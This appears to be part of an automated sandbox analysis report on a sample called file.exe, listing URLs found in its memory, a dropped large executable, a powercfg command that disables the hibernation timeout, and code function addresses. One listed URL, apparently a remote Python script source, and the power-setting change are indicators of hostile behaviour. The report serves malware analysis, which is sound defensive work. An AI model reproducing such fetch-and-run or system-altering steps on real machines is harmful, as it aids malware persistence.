Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0270000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0270000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.2063623215.0000019B68448000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061164148.0000019B68445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061672432.0000019B68414000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2071548969.0000019B68448000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2063623215.0000019B6842B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065977694.0000019B68433000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061711574.0000019B68429000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: file.exe, 00000001.00000003.2074607848.0000019B6803F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: file.exe, 00000001.00000002.2083855720.0000019B67F3C000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: file.exe, 00000001.00000003.1818795531.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2068958906.0000019B665E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065949620.0000019B665E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2076247525.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065786341.0000019B665C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1818104063.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2083772780.0000019B665EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2084062550.0000019B6803B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070388222.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070183671.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: file.exe, 00000001.00000002.2083855720.0000019B67EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: file.exe, 00000001.00000003.1818795531.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2068958906.0000019B665E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065949620.0000019B665E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2076247525.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065786341.0000019B665C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1818104063.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2083772780.0000019B665EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2084062550.0000019B6803B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070388222.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070183671.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: file.exe, 00000001.00000003.1818795531.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2068958906.0000019B665E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065949620.0000019B665E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2076247525.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065786341.0000019B665C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1818104063.0000019B6803A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2083772780.0000019B665EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2084062550.0000019B6803B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070388222.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070183671.000001DE10639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2070609009.000001DE1062D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: file.exe, 00000001.00000003.1819696151.0000019B6842C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819974405.0000019B683E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061164148.0000019B68445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819110190.0000019B6843C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819761256.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819954735.0000019B68446000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2062133131.0000019B68459000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819200208.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68417000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071469603.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071761865.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072391408.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072118745.000001DE109D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: file.exe, 00000001.00000002.2085087129.0000019B68550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: file.exe, 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: file.exe, 00000001.00000003.1819696151.0000019B6842C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065679032.0000019B68069000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2064338719.0000019B68068000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819696151.0000019B6841C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2067965107.0000019B68069000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061973835.0000019B68062000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2087409443.00007FFDFAFDA000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2089714366.00007FFE0055F000.00000002.00000001.01000000.0000000D.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: file.exe, 00000001.00000003.1819696151.0000019B6842C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819974405.0000019B683E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061164148.0000019B68445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819110190.0000019B6843C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819761256.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819954735.0000019B68446000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2062133131.0000019B68459000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819200208.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68417000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071469603.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071761865.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072391408.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072118745.000001DE109D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: file.exe, 00000001.00000002.2088043326.00007FFDFB559000.00000008.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: file.exe, 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/)

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\file.exe

File dump: di.exe.6.dr 713031680

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A681C	0_2_00007FF78D2A681C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A58D0	0_2_00007FF78D2A58D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D289A8B	0_2_00007FF78D289A8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D287930	0_2_00007FF78D287930
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2973AC	0_2_00007FF78D2973AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D291700	0_2_00007FF78D291700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D290EE0	0_2_00007FF78D290EE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D292D40	0_2_00007FF78D292D40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D29D57C	0_2_00007FF78D29D57C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A9558	0_2_00007FF78D2A9558
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D29E090	0_2_00007FF78D29E090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D291904	0_2_00007FF78D291904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2910E4	0_2_00007FF78D2910E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D288FB0	0_2_00007FF78D288FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A0498	0_2_00007FF78D2A0498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A37E0	0_2_00007FF78D2A37E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A62D0	0_2_00007FF78D2A62D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2912F0	0_2_00007FF78D2912F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D293144	0_2_00007FF78D293144
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D299990	0_2_00007FF78D299990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D29DA10	0_2_00007FF78D29DA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2971F8	0_2_00007FF78D2971F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A1444	0_2_00007FF78D2A1444
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D297C30	0_2_00007FF78D297C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D289C2B	0_2_00007FF78D289C2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D295490	0_2_00007FF78D295490
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A3C7C	0_2_00007FF78D2A3C7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D28A45D	0_2_00007FF78D28A45D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A0498	0_2_00007FF78D2A0498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2914F4	0_2_00007FF78D2914F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2973AC	0_2_00007FF78D2973AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A5B4C	0_2_00007FF78D2A5B4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2923B0	0_2_00007FF78D2923B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2E1880	1_2_00007FFDFF2E1880
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2E12F0	1_2_00007FFDFF2E12F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A116D	1_2_00007FFE004A116D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1B54	1_2_00007FFE004A1B54
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004D83F0	1_2_00007FFE004D83F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A0F	1_2_00007FFE004A1A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0050C530	1_2_00007FFE0050C530
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A16FE	1_2_00007FFE004A16FE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A8630	1_2_00007FFE004A8630
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE005126E0	1_2_00007FFE005126E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A13DE	1_2_00007FFE004A13DE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A143D	1_2_00007FFE004A143D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A17F8	1_2_00007FFE004A17F8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1618	1_2_00007FFE004A1618
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2612	1_2_00007FFE004A2612
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A26FD	1_2_00007FFE004A26FD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A117C	1_2_00007FFE004A117C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A24D7	1_2_00007FFE004A24D7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A149C	1_2_00007FFE004A149C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A21C1	1_2_00007FFE004A21C1
